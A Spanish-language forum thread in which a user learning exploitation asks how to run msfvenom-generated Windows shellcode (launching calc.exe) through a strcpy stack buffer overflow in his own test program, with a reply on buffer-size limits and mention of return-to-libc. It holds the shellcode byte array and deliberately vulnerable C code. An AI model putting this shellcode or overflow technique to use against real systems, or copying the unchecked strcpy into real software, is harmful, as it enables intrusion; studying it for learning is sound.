Intentando explotar buffer overflow

Iniciado por pepitopepote, 2 Noviembre 2017, 18:56 PM

0 Miembros y 1 Visitante están viendo este tema.

pepitopepote

Hola buenas, he creado este programa he conseguido ejecutar la funcion system("pause"); sobreescribiendo el return con el lugar donde se encuentra pasandosolo en ascii, ahora quisiera ejecutar un shellcode
he creado uno con msfvenom pero como hago para que se ejecute?

msfvenom -p windows/exec cmd=calc.exe -f c --smallest --platform windows--arch x86
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

#include <stdio.h>
#include <stdlib.h>
#include<string.h>

int main()
{
FILE *archivo;
char buf[20];

char caracteres[100];

archivo = fopen("A.txt","r");

if (archivo == NULL)
exit(1);
else
       {
   printf("\nEl contenido del archivo de prueba es \n\n");
   while (feof(archivo) == 0)
   {
fgets(caracteres,100,archivo);
printf("%s",caracteres);
   }
           
       }
       fclose(archivo);
       system("PAUSE");
           strcpy(buf,caracteres);//bof
return 0;
}

void f1(){
system("calc.exe");//bof
return;
}

Liqu1d

En éste caso no podes usar más de 99 caracteres, ya que si tenes un archivo con 110 caracteres por ejemplo, el while la primera vez agarra los primeros 100 bytes del archivo y la segunda pasada agarra los 10 bytes restantes, ahí termina de procesar al archivo y el strcpy copiaría esos ultimos 10 bytes al buffer con 20 bytes de espacio. En éste caso no se produciría un overflow. Pero si tu archivo tiene 99 caracteres, solamente entrás al while 1 vez y copias al buffer de 20 bytes, tus 99 bytes de caracteres, en éste caso se desbordaría. La shellcode que vos estás mostrando es de casi 200 bytes, por lo que sería imposible utilizarla en éste escenario. Probá con una shellcode más chica. O probá esa misma haciendo que lea de a más caracteres.

Saludos!
Neither strainer can stop the water

pepitopepote

#2
No consegui ejecular el shellcode imagino por las protecciones aparte de los "\x00", pero si sacar una shell(return to libc) llamando a la funcion system() + exit()+ string pero si quisiera por ejemplo abrir la calculadora? he buscado un string calc.exe o calc  pero no la he encontrado.
Que mas podria hacer?
#include <stdio.h>
#include <string.h>
main (int argc, char **argv)
{
char vuln[12];
char vul[]="AAAAAAAAAAAABBBBCCCCDDDDEEEE"

strcpy(vuln,vul);                // <- VULNERABLE FUNCTION
printf ("%s\n",vuln);
return 0;
}